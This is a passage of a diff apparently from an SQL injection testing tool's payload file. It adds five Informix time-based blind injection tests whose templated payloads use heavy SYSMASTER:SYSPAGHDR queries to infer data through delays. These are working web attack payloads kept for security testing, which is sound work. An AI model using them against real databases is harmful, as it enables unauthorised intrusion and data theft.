|
1337 | 1337 | <dbms_version>> 2.0</dbms_version> |
1338 | 1338 | </details> |
1339 | 1339 | </test> |
1340 | | - <!-- TODO: if possible, add payload for Microsoft Access --> |
| 1340 | + |
| 1341 | + <test> |
| 1342 | + <title>Informix AND time-based blind (heavy query)</title> |
| 1343 | + <stype>5</stype> |
| 1344 | + <level>2</level> |
| 1345 | + <risk>2</risk> |
| 1346 | + <clause>1,2,3,9</clause> |
| 1347 | + <where>1</where> |
| 1348 | + <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)</vector> |
| 1349 | + <request> |
| 1350 | + <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)</payload> |
| 1351 | + </request> |
| 1352 | + <response> |
| 1353 | + <time>[DELAYED]</time> |
| 1354 | + </response> |
| 1355 | + <details> |
| 1356 | + <dbms>Informix</dbms> |
| 1357 | + </details> |
| 1358 | + </test> |
| 1359 | + |
| 1360 | + <test> |
| 1361 | + <title>Informix OR time-based blind (heavy query)</title> |
| 1362 | + <stype>5</stype> |
| 1363 | + <level>2</level> |
| 1364 | + <risk>3</risk> |
| 1365 | + <clause>1,2,3,9</clause> |
| 1366 | + <where>1</where> |
| 1367 | + <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)</vector> |
| 1368 | + <request> |
| 1369 | + <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)</payload> |
| 1370 | + </request> |
| 1371 | + <response> |
| 1372 | + <time>[DELAYED]</time> |
| 1373 | + </response> |
| 1374 | + <details> |
| 1375 | + <dbms>Informix</dbms> |
| 1376 | + </details> |
| 1377 | + </test> |
| 1378 | + |
| 1379 | + <test> |
| 1380 | + <title>Informix AND time-based blind (heavy query - comment)</title> |
| 1381 | + <stype>5</stype> |
| 1382 | + <level>5</level> |
| 1383 | + <risk>2</risk> |
| 1384 | + <clause>1,2,3,9</clause> |
| 1385 | + <where>1</where> |
| 1386 | + <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)</vector> |
| 1387 | + <request> |
| 1388 | + <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)</payload> |
| 1389 | + <comment>--</comment> |
| 1390 | + </request> |
| 1391 | + <response> |
| 1392 | + <time>[DELAYED]</time> |
| 1393 | + </response> |
| 1394 | + <details> |
| 1395 | + <dbms>Informix</dbms> |
| 1396 | + </details> |
| 1397 | + </test> |
| 1398 | + |
| 1399 | + <test> |
| 1400 | + <title>Informix OR time-based blind (heavy query - comment)</title> |
| 1401 | + <stype>5</stype> |
| 1402 | + <level>5</level> |
| 1403 | + <risk>3</risk> |
| 1404 | + <clause>1,2,3,9</clause> |
| 1405 | + <where>1</where> |
| 1406 | + <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)</vector> |
| 1407 | + <request> |
| 1408 | + <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)</payload> |
| 1409 | + <comment>--</comment> |
| 1410 | + </request> |
| 1411 | + <response> |
| 1412 | + <time>[DELAYED]</time> |
| 1413 | + </response> |
| 1414 | + <details> |
| 1415 | + <dbms>Informix</dbms> |
| 1416 | + </details> |
| 1417 | + </test> |
| 1418 | + |
1341 | 1419 | <!-- End of time-based boolean tests --> |
1342 | 1420 |
|
1343 | 1421 | <!-- Time-based boolean tests - Numerous clauses --> |
|
1697 | 1775 | <dbms>IBM DB2</dbms> |
1698 | 1776 | </details> |
1699 | 1777 | </test> |
1700 | | - |
| 1778 | + |
1701 | 1779 | <!-- Untested --> |
1702 | 1780 | <test> |
1703 | 1781 | <title>HSQLDB >= 1.7.2 time-based blind - Parameter replace (heavy query)</title> |
|
1738 | 1816 | <dbms_version>> 2.0</dbms_version> |
1739 | 1817 | </details> |
1740 | 1818 | </test> |
| 1819 | + |
| 1820 | + <test> |
| 1821 | + <title>Informix time-based blind - Parameter replace (heavy query)</title> |
| 1822 | + <stype>5</stype> |
| 1823 | + <level>4</level> |
| 1824 | + <risk>2</risk> |
| 1825 | + <clause>1,2,3,9</clause> |
| 1826 | + <where>3</where> |
| 1827 | + <vector>(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)</vector> |
| 1828 | + <request> |
| 1829 | + <payload>(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)</payload> |
| 1830 | + </request> |
| 1831 | + <response> |
| 1832 | + <time>[DELAYED]</time> |
| 1833 | + </response> |
| 1834 | + <details> |
| 1835 | + <dbms>Informix</dbms> |
| 1836 | + </details> |
| 1837 | + </test> |
1741 | 1838 | <!-- End of time-based boolean tests - Parameter replace --> |
1742 | 1839 |
|
1743 | 1840 | <!-- Time-based boolean tests - ORDER BY, GROUP BY clause --> |
|
1938 | 2035 | <dbms_version>> 2.0</dbms_version> |
1939 | 2036 | </details> |
1940 | 2037 | </test> |
1941 | | - <!-- TODO: if possible, add payload for Microsoft Access --> |
| 2038 | + |
1942 | 2039 | <!-- End of time-based boolean tests - ORDER BY, GROUP BY clause --> |
1943 | 2040 | </root> |
0 commit comments